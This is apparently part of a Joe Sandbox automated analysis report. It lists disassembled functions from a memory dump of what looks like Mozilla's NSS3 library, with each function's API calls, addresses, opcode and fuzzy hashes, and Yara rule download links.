Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction ID: 6366d671b69e6cc108f5464cd7262ec5bf8ed3184d4b0d7b75badfa1f2ea736e
Opcode Fuzzy Hash: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction Fuzzy Hash: 3611C2B1A00707ABEB209EA5DC84B46F3A8FF0435DF224531E919C2A00E731F465CBE9

Function 6C65DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_NewCertList.NSS3 ref: 6C65DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C65DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65E029

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 410475219db5b1573e2d62144da0d32e0a5d0e09c4c224fe599cf635f4179d38
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 7F112F71A042066BDF101EA99C44BEB76B8EB8535CFA40534E918C7740F73BC83597E9

Function 6C678DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C678DE7
EnterCriticalSection.KERNEL32 ref: 6C678DFC
PR_Unlock.NSS3 ref: 6C678E2D
PR_SetError.NSS3 ref: 6C678E49

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction ID: 1f2f05af8d7cdf630b08cf4df1927fd49a393801eb20a4114f724b09bb2259b6
Opcode Fuzzy Hash: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction Fuzzy Hash: 911191716056019FD700AF78D4485A9BBF4FF09354F014969DC88D7700E730E895CBDA

Function 6C6FAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACDB

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction ID: 946dbee206ebbe9353e9fd703242d2c833e9dd608ba5f2ff18a69ec3cb070919
Opcode Fuzzy Hash: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction Fuzzy Hash: F6015EB5701B029BEB50DF69E908757B7E8BF00759B104839E86AC3E11E731F055CB95

Function 6C661DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C661DFB

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PR_EnterMonitor.NSS3 ref: 6C661E09

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(?,?,6C65E175), ref: 6C65E19C
Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(6C65E175), ref: 6C65E1AA
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E208
Part of subcall function 6C65E190: PL_HashTableRemove.NSS3(?), ref: 6C65E219
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E231
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E249
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661E37
PR_ExitMonitor.NSS3 ref: 6C661E4A

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction ID: 336d6f5134f631bd6db140d43f6d62b7f6c21a30899e0cc9e51dc83962851440
Opcode Fuzzy Hash: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction Fuzzy Hash: D0018FB1B0415197EB105F6AED08F4677A4AB52B48F240031E91997F91E731E826CB9E

Function 6C661D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C661D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C661D9C
free.MOZGLUE(00000000), ref: 6C661DB8

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction ID: 291279245eed0e5d3d0beaf54ecba8c835d70e7e17d352a5be8e1186c36a2266
Opcode Fuzzy Hash: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction Fuzzy Hash: EEF0F9F260121067FB201F5BEC41B8736D8AB81798F100635ED1997F40D671E40482EF

Function 6C6AFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4
free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction ID: f66672d40333ece326dddc6aeec6d2846073debf6e95477de6f7f5a582ed189d
Opcode Fuzzy Hash: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction Fuzzy Hash: C5F0C8F16022026BEF015B95DD80927BBD8EF45399B148074ED098AB01E731DC16C7EB

Function 6C76CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C76CC61
free.MOZGLUE ref: 6C76CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C76CC80
free.MOZGLUE(?), ref: 6C76CC87

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction ID: b62cb622932d6d95cf8f28def52c6460da53ad28260737f1e9b06ffa0cecdd7c
Opcode Fuzzy Hash: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction Fuzzy Hash: 82E03076700608ABCB10EFA8DC4488A77ACEE492723150565E691C3700D232F905CBA1

Function 6C649DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C649E1F

Part of subcall function 6C6013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C601413
Part of subcall function 6C6013C0: memcpy.VCRUNTIME140(00000000,R#]l,00000002,?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C6014C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C64A006
ESCAPE expression must be a single character, xrefs: 6C649F78

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction ID: 6daa736bfc3cf47b36914c0c59b09f3e55145e153307c15362afad1d62db551a
Opcode Fuzzy Hash: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction Fuzzy Hash: F1812B70A442558BD744CF29C2807EAB7F6AF8532CF28C659D8A98BB81D736D847C784

Function 6C6A4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C6A4DE6

Strings

%d.%d, xrefs: 6C6A4DDE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction ID: f3073532db0d69003b4f21911bb83211dddbfb5cc3d21d2ed669e7ef13d2a519
Opcode Fuzzy Hash: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction Fuzzy Hash: 5D31FCB2D042186BEB10ABE19C05BFF77A8DF45308F150469ED159B781EB709D06CBAA

Function 6C6C4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8ll,00000000,00000000,?,?,6C6C3827,?,00000000), ref: 6C6C4D0A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C6C4D22

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

Strings

'8ll, xrefs: 6C6C4D07

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8ll
API String ID: 1521942269-3147167083
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: e9c045571cb0dc53a02a19017d26fc9ed9119a401a2e55a1fbcf3640a8849614
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FEF0687270112467DB10AE6A9C4077736DCDB417BDF141271DD18DB781E6B1EC018697

Function 6C6EAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6EAF78

Part of subcall function 6C64ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
Part of subcall function 6C64ACC0: malloc.MOZGLUE(00000001), ref: 6C64ACEC
Part of subcall function 6C64ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
Part of subcall function 6C64ACC0: TlsGetValue.KERNEL32 ref: 6C64AD3C
Part of subcall function 6C64ACC0: calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64ADC0
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64AE8C
Part of subcall function 6C64ACC0: free.MOZGLUE(?), ref: 6C64AEAB

memcpy.VCRUNTIME140(6C7B3084,6C7B02AC,00000090), ref: 6C6EAF94

Strings

SSL, xrefs: 6C6EAF73

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction ID: 79e1a2b9a945a7cdd6da3c25da324d2b87b92f674a031850191d99d355ed7790
Opcode Fuzzy Hash: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction Fuzzy Hash: 09217BB264EB49EFCA01DF11A547B127E73BF4A308710512AD52A4BB28DB3151889FDD

Function 6C640F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B

Part of subcall function 6C641370: GetSystemInfo.KERNEL32(?,?,?,?,6C640936,?,6C640F20,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000), ref: 6C64138F

PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Part of subcall function 6C641110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641130
Part of subcall function 6C641110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641142
Part of subcall function 6C641110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001), ref: 6C641167

Strings

clock, xrefs: 6C640F20

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction ID: 1844423cb9bcfea72ee5bdbefba9bbbadc5b925da43fda4c14c0cdf3bf9e1e7c
Opcode Fuzzy Hash: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction Fuzzy Hash: 48D0123160915495C7116B979C45F96BABCC7C367AF10CC76E22842D104A6450FAD36D

Function 6C6B0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C6B0DF5
TlsGetValue.KERNEL32 ref: 6C6B0E2D
TlsGetValue.KERNEL32 ref: 6C6B0E58
TlsGetValue.KERNEL32 ref: 6C6B0E84

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction ID: 744a035fe7b52c0740bfd871d8ace85b4727ddb01dd1260ce638e671f2d8d351
Opcode Fuzzy Hash: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction Fuzzy Hash: B731E8F0645391CBDB005F78D6446A97FB4BF06348F118679E88897A11EB30D4A7CB89

Function 6C6B0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
malloc.MOZGLUE(00000001), ref: 6C6B0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42
TlsGetValue.KERNEL32 ref: 6C6B0F5B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
